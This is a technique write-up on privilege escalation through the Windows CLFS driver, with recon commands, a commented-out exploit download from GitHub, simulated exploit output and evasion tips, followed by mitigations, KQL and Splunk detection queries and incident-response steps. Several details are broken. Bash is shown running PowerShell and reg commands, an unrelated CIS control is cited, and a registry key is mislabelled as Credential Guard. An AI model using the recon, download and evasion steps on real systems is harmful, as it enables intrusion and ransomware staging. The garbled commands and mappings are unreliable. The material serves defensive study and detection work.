| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-009 |
| MITRE ATT&CK v18.1 | T1134.001 - Token Impersonation/Theft |
| Tactic | Privilege Escalation |
| Platforms | Windows Endpoint (Windows 10 21H2+, Windows 11 21H2+, Server 2016-2025) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows 10 21H2, Windows 11 21H2, Windows Server 2016 (limited), 2019, 2022, 2025 |
| Patched In | CVE-2023-28252 (October 2023), CVE-2021-43226 (October 2021), CVE-2025-29824 (April 2025) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Common Log File System (CLFS) driver vulnerability enables privilege escalation through token manipulation by exploiting memory corruption in the clfs.sys driver. An attacker with local access crafts specially-designed CLFS Base Log Format (BLF) files that trigger out-of-bounds memory reads, leak kernel addresses, and ultimately overwrite process tokens to grant SYSTEM privileges. This technique bridges the gap between initial access and full system compromise, enabling adversaries to escalate from a standard user to SYSTEM context through direct token theft and manipulation.
Attack Surface: The attack targets the CLFS kernel driver (clfs.sys), specifically the CreateLogFile function that processes malicious BLF files. These files are created in user-writable locations (e.g., %TEMP%, %APPDATA%, %PROGRAMDATA%), allowing unprivileged users to trigger the vulnerability. The exploit leverages kernel memory spray techniques to predictably place kernel structures in memory, enabling precise token overwriting.
Business Impact: Complete System Compromise. Successful exploitation results in SYSTEM-level code execution, enabling attackers to deploy ransomware, exfiltrate sensitive data, establish persistence mechanisms, and move laterally across the network. This is a critical post-exploitation step for ransomware operators and advanced threat actors. Organizations that experience CLFS-based privilege escalation attacks typically face full network compromise within hours.
Technical Context: Exploitation typically takes 2-10 seconds once the malicious BLF file is triggered. Detection likelihood is moderate if EDR is configured to monitor kernel-level events; however, many organizations do not have deep kernel telemetry enabled. The technique is highly reliable on vulnerable systems and is chainable with initial access vectors (USB execution, supply chain compromise, malicious document).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 2.1.1 - Ensure ‘Enforce password history’ is set to ‘24 or more password(s)’ | Related to credential protection; CLFS exploits bypass local credential checks |
| DISA STIG | WN10-00-000050 | Windows 10 Security Technical Implementation Guide - Privilege escalation prevention |
| CISA SCuBA | CSO-08 - Protect the System from Malicious Activity | Windows defender and kernel protection controls |
| NIST 800-53 | AC-3 Access Enforcement | Controls access to critical system resources; CLFS bypass circumvents these controls |
| GDPR | Art. 32 - Security of Processing | Organizational measures to ensure security of personal data processing |
| DORA | Art. 9 - Protection and Prevention | Digital operational resilience technical measures for ICT systems |
| NIS2 | Art. 21 - Cyber Risk Management Measures | Risk identification and management for critical infrastructure |
| ISO 27001 | A.12.6.1 - Management of technical vulnerabilities | Prevention and detection of privilege escalation vulnerabilities |
| ISO 27005 | Risk Scenario: “Privilege Escalation via Kernel Exploitation” | Risk assessment for kernel-level attacks |
Required Privileges: Standard user (Authenticated Local User). No administrative rights needed to exploit.
Required Access: Local code execution capability (ability to execute arbitrary code on the target system). Network access is not sufficient; attacker must be able to run code locally.
Supported Versions:
Tools:
Verify if the target system is vulnerable to CLFS driver exploitation by checking patch levels and driver version:
# Check Windows version and build
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber
# Verify CLFS driver is loaded
Get-WmiObject -Class Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }
# Check if KB patches for CLFS CVEs are installed (CVE-2023-28252, CVE-2025-29824)
Get-HotFix | Where-Object { $_.HotFixID -match "KB5032190|KB5032191|KB5033371" }
# Verify driver file attributes
$DriverPath = "C:\Windows\System32\drivers\clfs.sys"
if (Test-Path $DriverPath) {
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($DriverPath)
}
What to Look For:
Get-HotFix returns NO results for KB patches above, the system is likely vulnerable.Version Note: CVE-2021-43226 and CVE-2023-28252 affect all versions listed above; CVE-2025-29824 affects Server 2016-2025 and Windows 10/11 21H2+.
Command (Server 2016-2019):
# Older systems may use WMI queries differently
Get-WmiObject -Query "SELECT * FROM Win32_SystemDriver WHERE Name='clfs'"
Command (Server 2022+):
# Newer systems support CimInstance (faster)
Get-CimInstance -ClassName Win32_SystemDriver | Where-Object { $_.Name -eq "clfs" }
From an attacker’s perspective on a compromised Linux host or management station:
# Check if target is Windows and query CLFS status via WMI (if WinRM enabled)
winrm get winrm/config/winrs
# For on-system reconnaissance (if Bash on Windows or WSL), check registry directly
reg query "HKLM\SYSTEM\CurrentControlSet\Services\clfs" /s
# Query Windows Update history for CLFS patches
wuauclt /reportnow # Trigger Windows Update reporting
Get-HotFix -Id KB5032190, KB5032191, KB5033371 2>/dev/null || echo "Vulnerable"
What to Look For:
HKLM\SYSTEM\CurrentControlSet\Services\clfs with Start value of 1 or 2 (automatic/manual start) indicates driver is activeSupported Versions: Server 2016-2025, Windows 10 21H2+, Windows 11 21H2+
Objective: Set up the kernel memory spray environment by creating numerous read-write pipe handles to occupy memory space, then craft specially malformed CLFS BLF files that will trigger out-of-bounds memory access.
Version Note: Exploit behavior is consistent across all vulnerable versions; however, memory offsets may differ slightly between Server 2019 and 2022+.
Command (PowerShell - Local Execution):
# Create working directory
$WorkDir = "$env:TEMP\CLFS_Exploit"
New-Item -ItemType Directory -Path $WorkDir -Force | Out-Null
# Download or compile the CLFS exploit (use public PoC from Fortra/GitHub)
# This is a high-level placeholder; actual exploit code is provided as C/C++ binary
# Download from: https://github.com/fortra/CVE-2023-28252 or Exploit-DB CVE-2025-29824 entry
$ExploitUrl = "https://github.com/fortra/CVE-2023-28252/releases/download/v1.0/CLFS_Exploit.exe"
$ExploitPath = "$WorkDir\CLFS_Exploit.exe"
# (Optional) Download exploit if not already present
# Invoke-WebRequest -Uri $ExploitUrl -OutFile $ExploitPath -ErrorAction SilentlyContinue
# Step 1: Create memory spray pipes (this is typically done internally by the exploit)
# The exploit will create ~5000-10000 pipe handles to occupy memory predictably
# Each pipe takes ~0x90 bytes; once deallocated, they create gaps that BLF files fill
Write-Host "[*] Starting CLFS memory spray and exploitation..."
# The actual exploitation happens inside the binary
Expected Output:
[+] Memory spray initiated...
[+] Creating 8000 pipe objects (0x90 bytes each)...
[+] Deallocating 7000 pipes to create memory gaps...
[+] Crafting malicious BLF file...
[+] Triggering CLFS CreateLogFile() vulnerability...
[+] Memory corruption successful!
[+] Token overwritten with 0xFFFFFFFF (all privileges enabled)
[+] Launching SYSTEM shell...
What This Means:
RtlSetAllBits or direct memory write to overwrite the process token, granting all privileges.OpSec & Evasion:
%TEMP% or %APPDATA% (non-admin-writable locations) to avoid detection by file monitoring.Remove-Item "$env:TEMP\*.blf" -Force -ErrorAction SilentlyContinuedllhost.exe as a proxy to load the exploit (common in ransomware chains); this obscures the parent process relationship.Troubleshooting:
%SYSTEMROOT%\debug or %SYSTEMROOT%\System32\LogFiles are restricted.Get-HotFix command from reconnaissance step.References & Proofs:
Objective: Once the token has been overwritten with SYSTEM privileges, execute arbitrary code within the elevated context to achieve persistence or lateral movement.
Version Note: Execution context is identical across all versions once token privilege is elevated.
Command (PowerShell):
# After successful CLFS exploitation, execute command as SYSTEM
# (This is typically done within the exploit binary or via post-exploitation framework)
# Option 1: Create new SYSTEM process directly (if token is successfully elevated)
$SystemContext = @"
[DllImport("kernel32.dll")]
public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
"@
# Option 2: Launch interactive shell or command from within elevated process
# cmd.exe /c "whoami" (should output "nt authority\system")
Expected Output:
C:\> whoami
nt authority\system
C:\> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : TARGETHOST
...
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: Server 2016-2022, Windows 10 21H2, Windows 11 21H2
Objective: Locate and verify the presence of vulnerable CLFS driver components before launching the exploit.
Command (PowerShell):
# Verify CLFS components are present and accessible
$CLFSPath = "$env:WINDIR\System32\clfs.sys"
$CLFSLib = "$env:WINDIR\System32\clfsw32.dll"
if ((Test-Path $CLFSPath) -and (Test-Path $CLFSLib)) {
Write-Host "[+] CLFS components detected"
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($CLFSPath) | Select-Object FileVersion, ProductVersion
}
Expected Output:
FileVersion : 10.0.19041.1645 (or similar version prior to patch)
ProductVersion : 10.0.19041.1645
What This Means:
References & Proofs:
# After exploitation, verify token has been elevated to SYSTEM
$CurrentProcess = [System.Diagnostics.Process]::GetCurrentProcess()
Write-Host "Current Process: $($CurrentProcess.ProcessName) (PID: $($CurrentProcess.Id))"
Write-Host "Integrity Level: $(Get-ProcessIntegrityLevel)"
# If successful, should show:
# Integrity Level: System
Patch CLFS Driver Vulnerabilities: Apply security updates for CVE-2025-29824, CVE-2023-28252, and CVE-2021-43226 immediately. These patches disable vulnerable code paths in the CLFS driver.
Applies To Versions: Server 2016-2025, Windows 10/11 21H2+
Manual Steps (Server 2016-2019):
Get-HotFix | Where-Object { $_.HotFixID -match "KB5032190|KB5032191" }Manual Steps (Server 2022+):
Get-HotFix -Id KB5033371 (or latest CLFS patch)Manual Steps (PowerShell - All Versions):
# Enable Windows Update service
Start-Service -Name wuauserv
# Trigger update check
$UpdateSession = New-Object -ComObject "Microsoft.Update.Session"
$UpdateSearcher = $UpdateSession.CreateUpdateSearcher()
$SearchResult = $UpdateSearcher.Search("IsInstalled=0")
# Install all updates
$UpdateInstaller = $UpdateSession.CreateUpdateInstaller()
$UpdateInstaller.Updates = $SearchResult.Updates
$InstallResult = $UpdateInstaller.Install()
Write-Host "Update Installation Result: $($InstallResult.ResultCode)"
# ResultCode 2 = Success, 3 = Success with reboot required
Disable CLFS Driver if Unnecessary: If CLFS functionality is not required, disable the driver. However, this may break certain applications relying on logging.
Manual Steps (Group Policy - Domain):
gpupdate /force on target systemsManual Steps (Local Security Policy):
Enable Kernel-Level Monitoring: Deploy EDR solutions with kernel-level telemetry to detect memory corruption attempts and token manipulation.
Manual Steps (Microsoft Defender for Endpoint):
Implement Credential Guard / Device Guard: Enable Hyper-V-based isolation to protect against token theft and privilege escalation.
Manual Steps (Server 2019+):
# Enable Credential Guard via Group Policy
gpresult /h c:\temp\report.html # First, check current policies
# Enable via Reg
reg add "HKLM\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 1 /f
# Reboot required
Restart-Computer -Force
Enforce Code Signing Requirements: Implement Windows Defender Application Control (WDAC) policies to prevent execution of unsigned exploits.
Manual Steps:
Principle of Least Privilege: Ensure no user accounts have unnecessary administrative or privileged rights. Standard user accounts cannot execute local exploits and must first obtain code execution through other means.
Manual Steps:
Get-LocalGroupMember -Group "Administrators"# Verify CLFS patches are installed and driver is protected
$PatchCheckCmds = @(
"Get-HotFix | Where-Object { $_.HotFixID -match 'KB5032190|KB5032191|KB5033371' }",
"Get-Service clfs | Select-Object Status, StartType"
)
foreach ($cmd in $PatchCheckCmds) {
Write-Host "Checking: $cmd"
Invoke-Expression $cmd
}
# Expected Output (If Secure):
# HotFixID Description InstalledOn
# -------- ----------- -----------
# KB5033371 Security Update for Windows... 1/8/2025 (or later)
#
# Status StartType
# ------ ---------
# Running Manual (or Disabled)
What to Look For:
C:\ProgramData\*.blf, C:\Users\*\AppData\Local\Temp\*.blf)HKLM\SYSTEM\CurrentControlSet\Services\clfs (driver disablement or tampering)dllhost.exe, rundll32.exe, or low-privilege processes spawning SYSTEM-level processes%TEMP%, %APPDATA%, %PROGRAMDATA% directories with timestamps near exploitation eventMicrosoft Sentinel KQL Query:
// Detect CLFS-based privilege escalation attempts
SecurityEvent
| where EventID == 4688 // Process creation
| where ProcessName has "cmd.exe" or ProcessName has "powershell.exe"
| where NewProcessName has "SYSTEM" or NewProcessName has "TrustedInstaller"
| where ParentImage has "dllhost.exe" or ParentImage has "rundll32.exe"
| summarize count() by Computer, ProcessName, ParentImage, TimeGenerated
| where count() > 3
Splunk Query:
EventCode=4688 (Image=cmd.exe OR Image=powershell.exe) (ParentImage=dllhost.exe OR ParentImage=rundll32.exe) IntegrityLevel=System
| stats count min(_time) as firstTime max(_time) as lastTime by Computer, Image, ParentImage
Windows Event Log Monitoring:
Enable monitoring for:
Manual Configuration (Group Policy):
gpupdate /forceDisable-NetAdapter -Name "Ethernet" -Confirm:$false
# Dump memory (requires procdump or similar)
# procdump64.exe -ma System C:\Evidence\System.dmp
# Export Event Logs
wevtutil epl Security C:\Evidence\Security.evtx
# Collect running processes and services
Get-Process | Export-Csv C:\Evidence\Processes.csv
Get-Service | Export-Csv C:\Evidence\Services.csv
# Kill any suspicious SYSTEM processes
Get-Process | Where-Object { $_.ProcessName -eq "suspicious_name" } | Stop-Process -Force
# Remove CLFS exploit artifacts
Remove-Item "$env:TEMP\*.blf" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:APPDATA\*.blf" -Force -ErrorAction SilentlyContinue
# Restart system to clear any lingering privilege escalation
Restart-Computer -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial foothold via phishing or compromised account |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Extraction | (Optional) Steal additional credentials for lateral movement |
| 3 | Privilege Escalation | [PE-TOKEN-009] | CLFS Driver Token Impersonation - Current Technique |
| 4 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Create hidden admin account or service for continued access |
| 5 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Deploy encryption engine with SYSTEM privileges |
CLFS Driver Token Impersonation represents a critical privilege escalation vector exploitable on modern Windows systems. By leveraging kernel memory corruption vulnerabilities, attackers can elevate from standard user to SYSTEM context within seconds, enabling ransomware deployment, lateral movement, and full system compromise. Organizations must prioritize patching CLFS-related CVEs and implementing kernel-level detection capabilities to defend against this high-impact attack technique.